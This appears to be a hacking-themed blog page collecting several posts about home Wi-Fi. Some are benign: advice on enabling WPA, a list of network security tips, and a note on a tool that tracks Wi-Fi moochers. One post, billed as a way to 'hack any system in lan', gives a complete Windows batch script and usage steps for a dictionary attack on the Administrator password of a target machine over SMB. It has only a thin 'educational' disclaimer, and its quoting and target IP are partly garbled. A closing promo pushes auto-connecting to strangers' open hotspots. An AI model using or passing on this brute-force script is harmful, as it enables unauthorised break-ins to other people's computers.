How do I secure my wireless network connection with WEP or WPA?

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I have just set up a wireless connection at home - whenever I log on it says that the connection is unsecure - how do I secure it? I have a new Toshiba Laptop and a Phillips Router. I saw something about a WEP key....where do I enter this?
You are right to worry about this problem, actually, because any open wireless network is an invitation for neighbors and various unsavory characters to connect to your network as if they were on your local area network. This means that they'd be able to use your network-friendly printer, your networked hard drive backup system, and try to break into your computers too. In addition, they'd be able to use your network connection itself and if they were to download tons of illegal music, for example, the RIAA could get your ISP to shut you down, or if they downloaded porn or terrorism research data, well, the FBI could get involved. Not good!
Fortunately, it's pretty easy to secure a wireless network system: you need to log in to your router / base station (your Phillips unit), which is probably done by simply entering a special IP address in your Web browser (try 192.168.1.1 if the documentation that was included with the router doesn't explain). If that fails, you might need to hook the router directly to the computer via a USB cable, though those are definitely rare systems.
Once you've hooked up, you should find a multi-tab configuration tool that has one tab labeled "Security" or similar. Click on that and you should be able to find "Password" as an option or button. Click on that and it should give the options of WEP or WPA. I recommend that you choose WPA and use a long password - it's far more secure than WEP.
Here's an example from the configuration screen of my Linksys router:


As you can see, it's a bit complicated, but once you enter a password it automatically generates all the scary looking (hexidecimal) security codes: any of those will be what you would enter on your Toshiba laptop -- once -- to be securely connected forever.
I hope that helps you get your hatches battened down!

LAN Remote user - Dictionary Attack (hack any system in lan)

Create and use this Batch file to launch a Dictionary attack and find the Windows logon Credentials in a LAN.
You need a Dictionary text file to proceed further to launch this attack successfully. Just Follow the steps below, 1. Open up a Notepad file.
2. Copy and paste the below code and save it as a Batch file with.bat extension.@echo off
if "%1''=="" goto fin
if "%2''=="" goto fin
del logfile.txt
FOR /F "tokens=1'' %%i in (passlist.txt) do ^
echo %%i && ^
net use \\%1 \ipc$ %%i /u:%1 \%2 2>>logfile.txt && ^
echo %time% %date% >> output.txt && ^
echo \\%1 \ipc$ acct: %2 pass: %%i >> output.txt && goto end
:fin
echo *****Done***** 3. Make sure that you have a Dictionary password Text file in the same location where you are going to execute this program. ( Name should be passlist.txt )
4. Now goto the command prompt and then execute this program from there, along with the Target compters IP address or Hostname and the Valid Username. The Syntax should be like this,...
C:\>LANbrute.bat 192.169.21.02 Administrator Where, LANbrute.bat - This is the Name of the batch file that resides in the C Drive. 192.169.21.02 - IP Address of the Target Computer. Administrator - Victim Account that you want to crack. 5. This program will start launching Dictionary Attack against the Adminstrator account on the Mahine 192.168.21.02 , by using the passwords from the file passlist.txt and will not stop until it finds a right match. 6. If the right password was found, then it will save it in a text file named 'output.txt' on the same directory.//Disclaimer : This is only meant for Educational Means, The owner[Roney] of this blog is not responsible for whatever you do with this.

Is your WiFi being used illegally? Track the culprits

If you thought that its impossible to detect the physical location of a person in your Wireless Lan (WiFi), then read on. A tool called Moocher Hunter can help you physically track the users connected in your WiFi network. This tool would come handy for network admins or police authorities who would want to spot and catch hackers using WiFi for illegal purposes. Recently the Indian police raided the Mumbai home of an American expatriate after someone used his open wireless network to send an email that took responsibility for a bomb blast that killed at least 42 people.Actually someone used wardriving to use his internet connection to send that sensitive e-mail. Good things about MoocherHunter-
1. Its free to use.
2. It can predict the physical location of the computer using the WiFi connection.


The algorithms applied use various signal variables to accurately predict the position of the connected laptop/machine. MoocherHunter(tm) identifies the location of an 802.11 - based wireless moocher or hacker by the traffic they send across the network. If they want to mooch from you or use your wireless network for illegal purposes (e.g. warez downloading or illegal filesharing), then they have no choice but to reveal themselves by sending traffic across in order to accomplish their objectives. MoocherHunter(tm) enables the owner of the wireless network to detect traffic from this unauthorized wireless client (using either MoocherHunter(tm)'s Passive or Active mode) and enables the owner, armed with a laptop and directional antenna, to isolate and track down the source.

Tips for Wireless Home Network Security

1) Change Default Administrator Passwords (and Usernames)
2) Turn on (Compatible) WPA / WEP Encryption
3) Change the Default SSID
4) Disable SSID Broadcast
5) Assign Static IP Addresses to Devices
6) Enable MAC Address Filtering
7) Turn Off the Network During Extended Periods of Non-Use
8) Position the Router or Access Point Safely
.. Follow these simple steps to no get hacked

How to get Free WiFi access anywhere, anytime

Some things in life should be free. Easy WiFi Radar helps you find and connect to open wireless access points with a single mouseclick. It's WiFi for Dummies. And we're giving it away for your PC. If you have ever tried to use Windows XP's built-in connection manager, you know what a hassle it can be to quickly check your mail or browse the web on the go. You need to browse through a list of access points, find one that you can connect to, manually try to connect to it, confirm the connection and then wait. Even if it says that's it connected, often it doesn't open a webpage or you mail will stall. Easy WiFi Radar automates all of this. It's main goal is to let you get your mail or surf the web without having to go through all of the connection trouble, and without having to pull your creditcard. Just run it and it'll connect you for FREE to the internet. It doesn't get easier than this. Get your mail and browse the web without being charged. The ideal WiFi- tool for frequent travellers and mobile professionals. Easy WiFi Radar will connect to open hotspots automatically and shows you exactly what it is doing in a cool animated radar screen. Access points are represented as green, yellow or red dots. It plays a sound and opens your webbrowser as soons as it succesfully finds a free connection. Works on Windows XP and Windows Mobile, not on Vista.